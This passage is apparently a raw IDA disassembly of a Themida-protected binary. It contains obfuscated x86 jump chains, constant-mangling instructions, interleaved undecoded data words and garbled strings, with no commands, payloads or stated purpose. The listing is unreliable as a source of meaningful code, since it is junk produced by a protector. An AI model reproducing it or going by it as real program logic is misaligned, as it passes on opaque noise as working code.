--------------------------------------------------------------------------- dw 0C483h dd 55C20104h, 635D47BDh, 5DEA2923h, 0CDEA8158h, 0E942657Eh dd 8694h, 7FF968h, 242C8900h, 4393E954h, 0C890000h, 4B924h dd 0EC830000h, 5AC3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5610C2: ; CODE XREF: Themida_:00567D74j push dword ptr [esp] pop edi add esp, 4 shr ecx, 6 push ebp mov ebp, ebx push 7D15h mov [esp], ebp jmp loc_569FFD ; --------------------------------------------------------------------------- db 0C0h dd 536604EDh, 0FD30E7B7h, 7E685B66h, 8900005Ah, 86E9241Ch dd 5700010Dh, 4BFh, 24448100h, 22309A04h, 246C8112h, 17094F04h dd 247C0131h, 4FBD5504h, 1311709h, 0FF08246Ch, 815D2434h dd 4C4h, 9AB95100h, 29122230h, 0E908244Ch, 0EFCEh, 0F1B5515Ah dd 7BFCE9h db 0 ; --------------------------------------------------------------------------- loc_56113D: ; CODE XREF: Themida_:00562A14j mov dh, 0CDh sub dh, 22h sub al, dh mov dx, [esp] push ebp jmp loc_5602DA ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 4245C01h, 53515A5Bh, 0DE603FBBh, 2AE38172h, 816B7214h dd 993B93F3h, 0C560E93Eh, 0D829FFFFh, 6411EC05h, 4EC8301h dd 50241489h, 6C496855h, 90E92188h, 520000F2h, 0B1338FBAh dd 89EA8179h, 0E9185242h, 0FFFFF99Bh ; --------------------------------------------------------------------------- loc_56119C: ; CODE XREF: Themida_:005658B6j xor ebx, eax pop eax and ebx, 660F09A3h shl ebx, 5 not ebx jmp loc_56BC72 ; --------------------------------------------------------------------------- db 57h dd 3D4D22BFh, 2DE95732h, 51000114h, 0C888F988h, 56240C8Bh dd 2355E9h db 0 ; --------------------------------------------------------------------------- loc_5611C9: ; CODE XREF: Themida_:00565987j mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 57F22A9Fh push ecx jmp loc_55DB4D ; --------------------------------------------------------------------------- dd 89240489h, 0B85056E0h, 46C42137h, 3BDECDBEh, 58C601B9h dd 1E9F001h, 10000F5h, 2434FFD3h, 4C4815Ah, 51000000h dd 4B9h, 0DCC38100h, 146614Ch, 0DCEB81CBh, 5946614Ch, 8B241C87h dd 34FF2424h, 0AC27E924h, 0C5810000h, 10755E18h, 242C3359h dd 33242C31h, 248B242Ch, 0C83B6624h, 0C0A7E99Ch, 0C483FFFFh dd 4C18104h, 33000000h, 0C31240Ch, 240C3324h, 8B24248Bh dd 0DE682414h, 8900001Eh, 0B3E9241Ch, 660000F5h, 6824048Bh dd 3301h, 6ECBE9h db 0 ; --------------------------------------------------------------------------- loc_561279: ; CODE XREF: Themida_:0055E3E6j pop edi jmp loc_56D8F5 ; --------------------------------------------------------------------------- db 81h dd 2860CDE9h, 8BF18116h, 293064A5h, 0EB8159CBh, 493E27C6h dd 0F0A3E9h, 0D8016600h, 241C8B66h, 0FFF106E9h, 24348BFFh dd 4C481h, 0FB290000h, 56243C8Bh, 0C681E689h, 4, 8704C683h dd 335C2434h, 1C31241Ch, 241C3324h, 8924248Bh, 0EC81240Ch dd 4, 642BE9h db 0 ; --------------------------------------------------------------------------- loc_5612DD: ; CODE XREF: Themida_:0056AC61j push esi mov esi, 1DB4108Dh sub esi, 0D44EF9D2h jmp loc_560A0B ; --------------------------------------------------------------------------- dw 0C381h dd 7D74F77h, 4B02EBC1h, 0ECE9D3F7h db 0Dh, 1, 0 ; --------------------------------------------------------------------------- loc_5612FF: ; CODE XREF: Themida_:00560C67j push ebp push 3CBD135Dh jmp loc_563144 ; --------------------------------------------------------------------------- dw 489h dd 4EC8124h, 0E9000000h, 0AC36h ; --------------------------------------------------------------------------- loc_561318: ; CODE XREF: Themida_:0056A3CFj mov eax, 3B857007h push edi mov edi, 311526FFh add edi, 37E8655Ch add edi, 0EEE1B9E3h add ebx, edi pop edi jmp loc_55DC0C ; --------------------------------------------------------------------------- db 80h dd 0CCFE62F4h, 8007E4C0h, 7AE992F4h, 66000055h, 81240C8Bh dd 4ECh, 24348900h, 1622E954h, 31AD0000h, 4EC83D8h, 49D5E9h db 0 ; --------------------------------------------------------------------------- loc_561365: ; CODE XREF: Themida_:005671A5j push esi mov esi, esp jmp loc_56BF3B ; --------------------------------------------------------------------------- db 31h, 0C7h, 58h dd 6BB2F781h, 0EF814B62h, 3FD105FBh, 780C68h, 24048900h dd 0B22355B8h, 58C70960h, 244868h, 242C8900h, 546C64BDh dd 77CD8103h, 451E6E27h, 0E908E5C1h, 0C8ADh, 0AA7B17BFh dd 0C781475Bh, 0C65B389h, 5B5FF901h, 4C181h, 24680000h dd 89000015h, 74FF240Ch, 0C8B0424h, 144FE924h db 1, 0 ; --------------------------------------------------------------------------- loc_5613D2: ; CODE XREF: Themida_:00566AEBj mov al, 4Fh mov ch, 4Dh xor ch, al pop eax or ah, ch mov cx, [esp] add esp, 2 push edx jmp loc_56C717 ; --------------------------------------------------------------------------- dd 2404335Eh, 0E9240431h, 10519h, 5EF2015Bh, 68E68956h dd 7C5Eh, 0B8240489h, 80B591Eh, 2503E0C1h, 0BA32A53h, 2085435h dd 58C60100h, 3304EE83h, 0E4E92434h, 0B900003Fh, 1B3750DBh dd 37E887B8h, 59C8013Dh, 373FE9h, 0E930FF00h, 0FFFFBEB1h ; --------------------------------------------------------------------------- loc_56143C: ; CODE XREF: Themida_:0056DEB5j xor [esp], edx xor edx, [esp] pop esp push ebp push eax mov eax, 62593AC1h push edi mov edi, 674715BFh mov ebp, edi pop edi add ebp, 0FB12A502h xor ebp, eax mov eax, [esp] push eax push 4E3Eh mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push ebp push 50B0h jmp loc_569562 ; --------------------------------------------------------------------------- loc_56147C: ; CODE XREF: Themida_:00564DD7j push eax push ebx mov ebx, ecx mov eax, ebx pop ebx jmp loc_55F6CA ; --------------------------------------------------------------------------- loc_561488: ; CODE XREF: Themida_:0056B0BEj pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_56F15D ; --------------------------------------------------------------------------- loc_56149A: ; CODE XREF: Themida_:00563978j add esi, 88ACB48Ch add edx, esi jmp loc_55F1D9 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 67FCh, 54241C89h, 0E9241C8Bh, 3Ch ; --------------------------------------------------------------------------- loc_5614BC: ; CODE XREF: Themida_:00565D9Cj add edi, ebx pop ebx mov ecx, 0D8A065Dh sub ecx, edi mov edi, [esp] add esp, 4 jmp loc_5682DC ; --------------------------------------------------------------------------- aWLbkevsj db 'W©▀b┼eVИjэ',0 db 0 ; --------------------------------------------------------------------------- loc_5614DD: ; CODE XREF: Themida_:00563747j add ebx, 770E4078h sub ebx, edx sub ebx, 770E4078h push 72EBh mov [esp], eax jmp loc_5615D9 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 53E08924h, 4BBh, 0E9D80100h, 2060h dd 68242C89h, 5F7Ch, 842DE9h, 58F18100h, 0C150511Ah, 0F18107E1h dd 0B193BA7Eh, 8159CD21h, 373023EDh, 8BEE31E4h, 0C483242Ch dd 8BF30104h, 0C4832434h, 4C38304h, 26D6E9h, 0B8E95200h dd 5200010Eh, 0D389FA89h, 87DE95Ah db 1, 0 ; --------------------------------------------------------------------------- loc_56155E: ; CODE XREF: Themida_:0056A22Ej push dword ptr [esp] pop ecx jmp loc_56A8AC ; --------------------------------------------------------------------------- aSOsr db 'юХ',7,',oИ░{',0 dd 0C6815C00h, 4, 0E9243487h, 0C0FBh ; --------------------------------------------------------------------------- loc_561580: ; CODE XREF: Themida_:005628F1j xor edi, 310D1602h add edi, 0F0A9299h add ecx, edi pop edi sub ecx, 70350BD2h pop edi add eax, [ecx] pop ecx jmp loc_56360C ; --------------------------------------------------------------------------- loc_56159E: ; CODE XREF: Themida_:00560459j sub esp, 4 jmp loc_56A4F4 ; --------------------------------------------------------------------------- db 68h, 58h, 24h dd 66E90000h, 5E0000E9h, 8704EB83h, 30E9241Ch, 57FFFFC0h dd 94F01BFh, 6FE9576Ch, 100001Bh, 81E958C1h, 570000DFh dd 0E461E9h db 0 ; --------------------------------------------------------------------------- loc_5615D9: ; CODE XREF: Themida_:005614F3j mov eax, 690635EBh sub ebx, eax pop eax pop edx and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push 313Eh mov [esp], ebx jmp loc_56D077 ; --------------------------------------------------------------------------- dw 5453h dd 1744E9h, 4C38100h, 52000000h, 4BAh, 1EC38100h, 29250A4Bh dd 0A0BD55D3h, 0C17D970Ch, 0E94503E5h, 0BDE9h, 16CE981h dd 0E9811D7Ah, 8EAF8698h, 24048151h, 152D224Eh, 4EED815Dh dd 59152D22h, 34E9DD01h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561647: ; CODE XREF: Themida_:0056EAFBj xor ah, bh jmp loc_56BC64 ; --------------------------------------------------------------------------- dw 0E189h dd 8904EC83h, 85E92404h, 5E000102h, 0FFC9BCE9h, 37E950FFh db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561667: ; CODE XREF: Themida_:0056A720j add esp, 4 pop dword ptr [esp] mov esp, [esp] push 46A3h mov [esp], ebp push edx push edi jmp loc_55D611 ; --------------------------------------------------------------------------- db 89h dd 0E6B5240Ch, 0C78004B7h, 80EF2800h, 45900EFh, 0ED6FE9ABh dd 87490000h, 87D7F7F9h, 0F7D9F7F9h, 24F181D9h, 819F388Dh dd 0A5509BEAh, 81CA011Bh, 0A5509BC2h, 0CC77E91Bh, 34810000h dd 142EF124h, 0B8505D01h, 1142EF1h, 5E58C531h, 0F581DDF7h dd 849595ABh, 0E7E7E9h, 2434FF00h, 35E95358h, 5F000008h dd 0E9E38953h, 0ACEAh ; --------------------------------------------------------------------------- loc_5616EC: ; CODE XREF: Themida_:00566140j mov esi, 4 sub ebp, esi jmp loc_5690D9 ; --------------------------------------------------------------------------- dd offset dword_5AD300 dd 1FFE9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561702: ; CODE XREF: Themida_:00560B72j mov [esp], ecx jmp loc_5660FE ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 241C8904h, 0DBE9E389h, 680000A3h, 5598h dd 68243C89h, 71A630AEh, 14F7575Fh, 546AE924h, 14890000h dd 2BA24h, 82E90000h, 0BAFFFFD3h, 744E3784h, 0D108EAC1h dd 0A5EA81E2h, 4A29255Eh, 0FF52D2F7h, 815A2404h, 0FEE45EAh dd 5AD7312Bh, 3C8BFA31h, 4C48324h, 9426C281h, 0D72993F5h dd 3D4AE9h, 24048B00h, 104C483h, 0BFC1E9FDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561782: ; CODE XREF: Themida_:00571E2Ej add ebp, 0E8DC18AEh sub esi, ebp pop ebp inc esi jmp loc_562C6A ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 89575724h, 4C781E7h, 83000000h, 3C8704EFh, 0EEE95C24h dd 89FFFFC6h, 4C781E7h, 83000000h, 3C8704C7h, 0EB805C24h dd 78B252CAh, 0E292E9h, 19BF5700h, 4F534F74h, 0CF81DFF7h dd 144942F7h, 9318E9h, 4BB00h, 0DA010000h, 2414875Bh, 1010AE9h dd 4C48300h, 19C4E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5617F2: ; CODE XREF: Themida_:005707ECj xor ebp, 9D4B1B44h jmp loc_563FA9 ; --------------------------------------------------------------------------- loc_5617FD: ; CODE XREF: Themida_:00564CD0j add dword ptr [esp], 4F9C2D39h mov eax, [esp] jmp loc_5659F8 ; --------------------------------------------------------------------------- dd 89240489h, 3CBB53E0h, 0F75B0F06h, 3E3C1D3h, 81434B4Bh dd 0ADB2B0F3h, 0EBC14B40h, 0E9EBD105h, 0DD2Eh, 0E904EEC1h dd 0FFFFF60Ah, 5529CB81h, 0C3814ACDh, 7D0626A2h, 0F8C3814Bh dd 18809F9h, 2C875BDDh, 0E629E924h, 71B80000h, 527DB440h dd 0FFE191E9h db 0FFh ; --------------------------------------------------------------------------- loc_561861: ; CODE XREF: Themida_:00570D27j sub ebp, 21FF77ABh add ecx, 44847EACh add ecx, ebp sub ecx, 44847EACh pop ebp push eax mov eax, 10384935h and eax, 6A890723h push edi push esi mov esi, 3FAC5E02h mov edi, 57C67775h sub edi, esi pop esi and eax, edi pop edi xor eax, 4F421630h push 5F97h mov [esp], edx mov edx, 7B9A2477h push ebp mov ebp, 49AC1735h sub ebp, 75FC2497h jmp loc_570680 ; --------------------------------------------------------------------------- dw 0A68h dd 0E9215470h, 0FFFFC147h, 0F707EFC1h, 0DEEF81DFh, 0B9EDBB3Ch dd 4C4C2776h, 835FF901h, 0F18101C1h, 63A63637h, 106F181h dd 81513EF9h, 5E4D2404h, 2C8B5D7Fh, 4C48124h, 0E9000000h dd 0D683h, 0CAFEE0B2h, 234E9h, 9BE95000h, 0AC00010Ch, 0E9E68956h dd 0A9BCh, 3462C281h, 17E94F7Dh, 8900001Ah, 0E2892414h dd 732468h, 240C8900h, 205768h, 242C8900h, 4BDh, 0BA525500h dd 72D76FE3h, 87E3E9h, 3DB95100h, 0E964A557h, 0FFFFFCD8h ; --------------------------------------------------------------------------- loc_56194C: ; CODE XREF: Themida_:0056306Dj push ebp mov ebp, 499147DEh jmp loc_5628BE ; --------------------------------------------------------------------------- db 59h dd 4EC8358h, 0B5240C89h, 0BBED8057h, 0E959EB08h, 7FBBh dd 0F580DDF6h, 3ED800Ah, 80B4F580h, 0C58099F5h, 4DB3530Bh dd 0F3E9CBFEh, 83FFFFE1h, 0C13104C4h, 61FD2D58h, 0D3E94815h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_561997: ; CODE XREF: Themida_:0056F6B7j mov ecx, ebp mov ebp, [esp] add esp, 4 inc ecx add ecx, 0C43A8E53h jmp loc_56A587 ; --------------------------------------------------------------------------- loc_5619AB: ; CODE XREF: Themida_:00567854j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_571AB2 ; --------------------------------------------------------------------------- dw 535Ah dd 0DDBE5651h, 56700F10h, 0F5240481h, 59233504h, 4F5E981h dd 575E2335h, 0E5479EBFh, 0C05EE93Dh, 3C87FFFFh, 24248B24h dd 0E904C483h, 9E07h, 8904EC83h, 8BE9241Ch, 51000103h dd 0D72537B9h, 7DF18157h, 15E3876h, 0C68159CEh, 245B34C9h dd 0EE81FE29h, 245B34C9h, 534AEE81h, 15F09EFh, 0E4C681EEh dd 8B1F7554h, 5457242Ch, 4C7815Fh, 0E9000000h, 706Fh, 815EF729h dd 191F2DC2h, 81FA2937h, 191F2DEAh, 0FCE95F37h, 81000082h dd 42404h, 515A0000h, 0FFE95EE9h, 57F681FFh, 8115F031h dd 1C53F0F6h, 3BEE8114h, 812D2576h, 0FFD100EEh, 8688E908h dd 0C8B0000h, 0ABC0E924h, 49BB0000h, 4B24C91Ch, 0C381DBF7h dd 7F1F1FE2h, 2092F381h, 0D90171A8h, 0FCBFE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561AA6: ; CODE XREF: Themida_:0056C104j mov [esp], ebx mov ebx, 24h jmp loc_56F76C ; --------------------------------------------------------------------------- db 0F7h aS_5 db 'вИф╟',0 align 2 dw 0C181h dd 70AF46CAh, 8106E9C1h, 7D7D0AC1h, 246C81FCh, 2501C004h dd 244C014Dh, 24448104h, 2501C004h, 1C8B594Dh, 0E2895224h dd 4C281h, 0DEE90000h, 54000041h, 4C2815Ah, 53000000h dd 268h, 0BF575B00h, 0CE93AF9h, 4FF5BA52h, 0D729319Bh dd 11C7815Ah, 81299191h, 8C36A0C2h, 0D774E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561B1E: ; CODE XREF: Themida_:0056F2BFj pop esp jmp loc_56B561 ; --------------------------------------------------------------------------- aSsek db 'SИ┘┼',0 align 2 dw 0B753h dd 39F7809Ah, 4B0E9h, 0D5E28000h, 204DC280h, 20E7E9D4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561B42: ; CODE XREF: Themida_:00570245j pop esi jmp loc_56A436 ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 4903h, 0A8E9F801h, 2DFFFFC4h, 786E7EF1h dd 7666E9h, 0BE565100h, 36326635h, 515EF189h, 0EC83595Fh dd 24048904h, 1B8h, 6537E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561B7E: ; CODE XREF: Themida_:005710FFj add dword ptr [esp], 2D1470AFh mov eax, [esp] jmp loc_57030B ; --------------------------------------------------------------------------- db 46h, 81h, 0F6h dd 39880885h, 315EF331h, 0F5815BDDh, 76975D3h, 5305E5C1h dd 4764C6BBh, 5BDD3192h, 2C8BEF01h, 0CC31E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BB6: ; CODE XREF: Themida_:0056D3DBj sub esp, 4 jmp loc_56B8F9 ; --------------------------------------------------------------------------- loc_561BBE: ; CODE XREF: Themida_:0056FD22j xor ebp, 1F39771Ch shl ebp, 4 dec ebp sub ebp, 0A1D1D96Ah push eax mov eax, 7D97237Ah or eax, 7B3448AEh xor eax, 4A117B51h jmp loc_562852 ; --------------------------------------------------------------------------- loc_561BE3: ; CODE XREF: Themida_:0056C099j push 50F06C11h mov edx, [esp] jmp loc_56913B ; --------------------------------------------------------------------------- dd 0E943DBF7h, 0FFFFF3B8h, 0BDE9E089h, 66FFFFD4h, 0E924248Bh dd 0FFFFB6E5h, 8304C483h, 0DAE904C4h, 5AFFFFB6h, 5C240C87h dd 0F785E9h, 556800h, 11E90000h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561C27: ; CODE XREF: Themida_:00569B1Aj xor eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_564AC3 ; --------------------------------------------------------------------------- db 56h, 0BEh, 44h dd 52424A41h, 0FFFFFFBAh, 5AD629FFh, 0C9B2E9h, 0E3895300h dd 7C5EBE56h, 0D6F77DF0h, 0FFDDA9E9h, 2ABB53FFh, 814C0F55h dd 826602E3h, 0C5EB8143h, 81581243h, 0FC0E9CF3h, 0F7D3F76Ch dd 5B88E9DBh, 9CBE0000h, 311B0F00h, 0E9535EF3h, 0C5E5h dd 8904EC83h, 4DB9240Ch, 217B2E0Eh, 240C8BCEh, 0E95E5456h dd 0FFFFCB25h ; --------------------------------------------------------------------------- loc_561CA0: ; CODE XREF: Themida_:005700FDj mov esi, 2E31154Eh neg esi sub esi, 0FFFFFFFFh inc esi not esi add esi, 0D3AD2639h jmp loc_570160 ; --------------------------------------------------------------------------- db 81h dd 3871DDC5h, 0E416E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CC6: ; CODE XREF: Themida_:00563E51j push 3DFFh jmp loc_56FD07 ; --------------------------------------------------------------------------- dd 21F1C381h, 0F968348Fh, 0E900007Eh, 0F93Dh, 0E9240C87h dd 6540h ; --------------------------------------------------------------------------- loc_561CE8: ; CODE XREF: Themida_:00564770j add esp, 4 push 1CD4h jmp loc_56B589 ; --------------------------------------------------------------------------- loc_561CF8: ; CODE XREF: Themida_:0056622Bj or cl, 2Eh xor cl, 4Ah add dl, cl pop ecx sub dl, 1Fh xor ah, dl mov edx, [esp] add esp, 4 sub ah, 0FFh sub ah, 85h sub ah, 7 add bl, 0FCh sub bl, ah sub bl, 0FCh mov eax, [esp] add esp, 4 sub bl, cl push edx mov dl, 0BEh xor dl, 0B0h or dl, 2 shl dl, 3 push ecx mov cl, 97h jmp loc_570F9D ; --------------------------------------------------------------------------- aYscc db '[YИ≈Ф',0 dw 5F00h dd 0E824E9h, 96E38100h, 0F71DB777h, 0D7C381DBh, 8142AC53h dd 0A2157F3h, 0E9DD0136h, 2C8Ch, 0E9241C89h, 5E9Bh, 17C2814Ah dd 81027929h, 0FFFFFFC2h, 0F7D2F7FFh, 9BF281D2h, 0E9A5749Eh dd 7C2Dh ; --------------------------------------------------------------------------- loc_561D88: ; CODE XREF: Themida_:0056B039j sub esp, 4 jmp loc_567A28 ; --------------------------------------------------------------------------- loc_561D90: ; CODE XREF: Themida_:0056A766j add eax, 4 push ebx push edi mov edi, 46850A66h neg edi jmp loc_56B703 ; --------------------------------------------------------------------------- db 81h dd 0B22660CDh, 70ED8102h, 812AC065h, 0FED8FCEDh, 5DEE892Bh dd 7B26E9h, 4C68100h, 0E9000000h, 95C4h, 8124348Bh, 4C4h dd 17BA5200h, 8125CD3Dh, 0A04839F2h, 0B4BF5700h, 0E957BA2Bh dd 0F87Dh, 4247429h, 0B4FBE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DF2: ; CODE XREF: Themida_:0056EA6Bj add edx, 4 xchg edx, [esp] mov esp, [esp] push ebp mov ebp, 74EF1307h not ebp or ebp, 4E9C5541h xor ebp, 2BB44846h push 1796h mov [esp], ebx mov ebx, 39E32AADh sub ebp, ebx pop ebx jmp loc_55DD77 ; --------------------------------------------------------------------------- db 89h dd 81515AD1h, 7D2F2404h, 815A6C10h, 107D2FEAh, 7868596Ch dd 89000027h, 0B8502434h, 416F0FCDh, 0B93E750Dh, 386051Fh dd 0F9051BACh, 35132E7Fh, 0D936B0ADh, 0E958C689h, 0FFFFD4EEh ; --------------------------------------------------------------------------- loc_561E64: ; CODE XREF: Themida_:0056F4A8j mov ebx, 5C971567h jmp loc_5606FA ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 0B405h, 392568h, 24048900h, 6E1767B8h dd 4BA8E96Ah, 59590000h, 4C181h, 0BE560000h, 39B431D9h dd 18F7EE81h, 0AAE9700Ch, 5800006Ah, 81E68956h, 4C6h, 0C257E900h dd 0FF54FFFFh, 34FF2434h, 59E95824h, 810000E6h, 4C2D52EEh dd 2CE95973h, 5B000029h, 2A65BE56h, 0E9463C77h, 10079h dd 8B2434FFh, 0C4832404h, 27036804h, 0C890000h, 0C601E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561EF2: ; CODE XREF: Themida_:00564688j mov eax, 460F303Ah jmp loc_560BB1 ; --------------------------------------------------------------------------- loc_561EFC: ; CODE XREF: Themida_:0055DB88j push 3DFBh mov [esp], eax push 7C62h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_57112C ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 4BF5724h, 1000000h, 5F04247Ch, 4C3815Bh dd 83000000h, 1C8704EBh, 24248B24h, 0E9240489h, 2B1Dh dd 8124148Bh, 4C4h, 5A545200h, 108BEE9h, 0E9316600h, 240C8766h dd 0FFB38CE9h, 4C483FFh, 0D35AE955h, 0C801FFFFh, 14DCBB53h dd 0E3C1248Fh, 0F3C1E902h, 0EB870000h, 74D7E9h db 0 ; --------------------------------------------------------------------------- loc_561F81: ; CODE XREF: Themida_:005719B8j sub ebp, eax push edx mov edx, 588F5D72h sub ebp, edx pop edx jmp loc_56E658 ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 2 dd 738BD55h, 0EF313437h, 1C7815Dh, 0F7000000h, 4AC7E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561FAA: ; CODE XREF: Themida_:00564974j sub esi, 53292216h jmp loc_57096E ; --------------------------------------------------------------------------- db 0E9h, 33h, 0B3h dd 5455FFFFh, 81242C8Bh, 4C4h, 0B0BE5600h, 834BD926h, 348904ECh dd 24148724h, 1487D2F7h, 0EE95E24h, 5B0000CCh, 0FFEA94E9h dd 5BFE28FFh, 2095EE80h, 0B7535AF1h, 0BEC4E9F2h, 1C890000h dd 9B68E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561FFE: ; CODE XREF: Themida_:00572A1Fj or eax, 11AC2CB2h xor eax, 0DA629761h sub esp, 4 mov [esp], eax add dword ptr [esp], 40254431h push dword ptr [esp] pop esi add esp, 4 push 281Ah mov [esp], eax mov eax, 394B1992h xor eax, 502F17E3h neg eax or eax, 315039EDh push ebp mov ebp, 0 sub ebp, eax xchg eax, ebp jmp loc_5657A2 ; --------------------------------------------------------------------------- loc_562049: ; CODE XREF: Themida_:0057153Fj add ebp, edx pop edx add ebp, 4 jmp loc_569437 ; --------------------------------------------------------------------------- loc_562054: ; CODE XREF: Themida_:00569B0Cj pop cx sub dl, 4Fh sub al, 72h add al, dl add al, 72h push dword ptr [esp] pop edx add esp, 4 sub bl, 65h push ecx mov ch, 43h sub bl, ch pop ecx push eax jmp loc_567609 ; --------------------------------------------------------------------------- db 53h, 0B7h, 6Ah dd 0E9FEF780h, 0A002h ; --------------------------------------------------------------------------- loc_562080: ; CODE XREF: Themida_:0056C220j add ebp, 4 jmp loc_56E125 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 4C48124h, 56000000h, 1069AE9h db 0 ; --------------------------------------------------------------------------- loc_56209D: ; CODE XREF: Themida_:005659F3j neg esi not esi sub esi, 215E4214h add eax, esi pop esi jmp loc_56F4A5 ; --------------------------------------------------------------------------- loc_5620AF: ; CODE XREF: Themida_:0057124Aj pop eax push 5AA1h mov [esp], ebx mov ebx, 74096732h sub ebx, 5EB33692h jmp loc_56B7DC ; --------------------------------------------------------------------------- aVzHfv db ',╒Z(ьhFV',0 align 2 dw 0C89h dd 448B124h, 0DFF7E922h, 48FFFFFh, 0F7665C24h, 466866F9h dd 14896617h, 9C506624h, 0FFB1F8E9h, 241489FFh, 68241C8Bh dd 3EEBh, 0E9240C89h, 989Ch, 2BBh, 5BDA8900h, 1067FE9h db 0 ; --------------------------------------------------------------------------- loc_562115: ; CODE XREF: Themida_:00570C51j push edx pop esi mov edx, [esp] add esp, 4 push edx push 1556h mov [esp], eax mov eax, 786E56EAh mov edx, eax pop eax push ecx mov ecx, 0D1914D5h sub edx, 5A877A1h jmp loc_56E1A8 ; --------------------------------------------------------------------------- db 0BFh dd 0C873FACh, 7B9FC781h, 99E97A25h, 83000043h, 5A042404h dd 4C281h, 77E90000h, 8900002Ah, 39682414h, 89000054h dd 4812424h, 424h, 24148B00h, 6804C483h, 7CECh, 68243C89h dd 4, 81243C8Bh, 4C4h, 0FFFA0100h, 535F2434h, 57E95B54h dd 68000061h, 51Fh, 0BA241489h, 3CA9698Eh, 4245401h, 8324148Bh dd 36E904C4h, 0BDFFFFB1h, 30B0701Ah, 43E9D5F7h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5621C3: ; CODE XREF: Themida_:0055EAF9j sub edi, 54B0621Bh xor edi, 2C58550Bh add ebx, edi pop edi add ebx, edi sub ebx, 31D64092h push eax mov eax, 8AA4043h not eax push esi mov esi, 2CC76979h xor eax, esi pop esi neg eax push esi jmp loc_56F4AD ; --------------------------------------------------------------------------- loc_5621F3: ; CODE XREF: Themida_:0056EC72j xor edx, eax jmp loc_55D2ED ; --------------------------------------------------------------------------- dw 0F62Dh aPsE db 8,'%PИ',8,'e',0 align 4 dd 2474FF55h, 242C8B04h, 0D851E9h, 241C8900h, 4BBh, 245C0100h dd 348B5B04h, 4C48324h, 1CE368h, 24148900h, 4BAh, 0A1EE8100h dd 122A379h, 0A1C681D6h, 8B22A379h, 66682414h, 89000070h dd 58542404h, 405h, 4C08300h, 0E9240487h, 0FFFFF315h ; --------------------------------------------------------------------------- loc_56225C: ; CODE XREF: Themida_:005609BEj sub esp, 4 mov [esp], esi mov esi, 0 sub esi, ebx mov ebx, esi jmp loc_56C65A ; --------------------------------------------------------------------------- aS_6 db '[Игу',0 dd 684A5800h, 29F4h, 0B9240C89h, 4A4C425Eh, 2F19BD55h dd 0E921365Ch, 21E9815Dh, 8159187Fh, 369241C1h, 0E9CA21BBh dd 2076h, 0C0F8F680h, 0C68002EEh, 0B2ECE932h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5622B2: ; CODE XREF: Themida_:0057064Cj sub ebx, 51E37C9Dh add ebx, eax push edx mov edx, 51E37C9Dh add ebx, edx pop edx jmp loc_565354 ; --------------------------------------------------------------------------- loc_5622C8: ; CODE XREF: Themida_:0056ED2Aj add edi, 4ACFADA3h add eax, 3CE70DD2h sub eax, 3F5468EAh add eax, edi add eax, 3F5468EAh push ecx mov ecx, 2863338Bh sub esp, 4 mov [esp], edi mov edi, 72596C0Eh or ecx, edi pop edi jmp loc_55D945 ; --------------------------------------------------------------------------- loc_5622F8: ; CODE XREF: Themida_:005646A4j mov eax, 0E88517Ah mov edi, eax pop eax xor esi, edi pop edi jmp loc_567317 ; --------------------------------------------------------------------------- dd 3849C02Dh, 0BA525536h, 45250391h, 1E4EC281h, 0D589FBE9h dd 581EE9h, 56456800h, 0EC810000h, 4, 0C772E9h db 0 ; --------------------------------------------------------------------------- loc_562331: ; CODE XREF: Themida_:0056503Ej add edx, 4 add edx, 4 jmp loc_56C5DC ; --------------------------------------------------------------------------- loc_562342: ; CODE XREF: Themida_:005703D5j add ebp, 0CA15FD51h jmp loc_5655BA ; --------------------------------------------------------------------------- loc_56234D: ; CODE XREF: Themida_:0056DD97j pop esp mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_56C3B6 ; --------------------------------------------------------------------------- loc_56235E: ; CODE XREF: Themida_:00572378j add esp, 4 jmp loc_569345 ; --------------------------------------------------------------------------- loc_562369: ; CODE XREF: Themida_:005600C2j push esi mov esi, 116D5557h xor eax, esi pop esi jmp loc_567880 ; --------------------------------------------------------------------------- db 29h dd 0C2F6E9D9h, 4BBFFFFh, 89000000h, 0CE015BD9h, 83240C8Bh dd 343304C4h, 24343124h, 8B243433h, 0C6812424h, 4, 2C681h dd 0FF560000h, 5E042474h, 8B24048Fh, 4D22424h, 32E99C24h dd 31FFFFAFh, 0F981E9FAh, 0EB81FFFFh, 40C5566Ch, 7A87E9h dd 243C8900h, 6731BA52h, 0E94217EFh, 437h, 0E958C529h dd 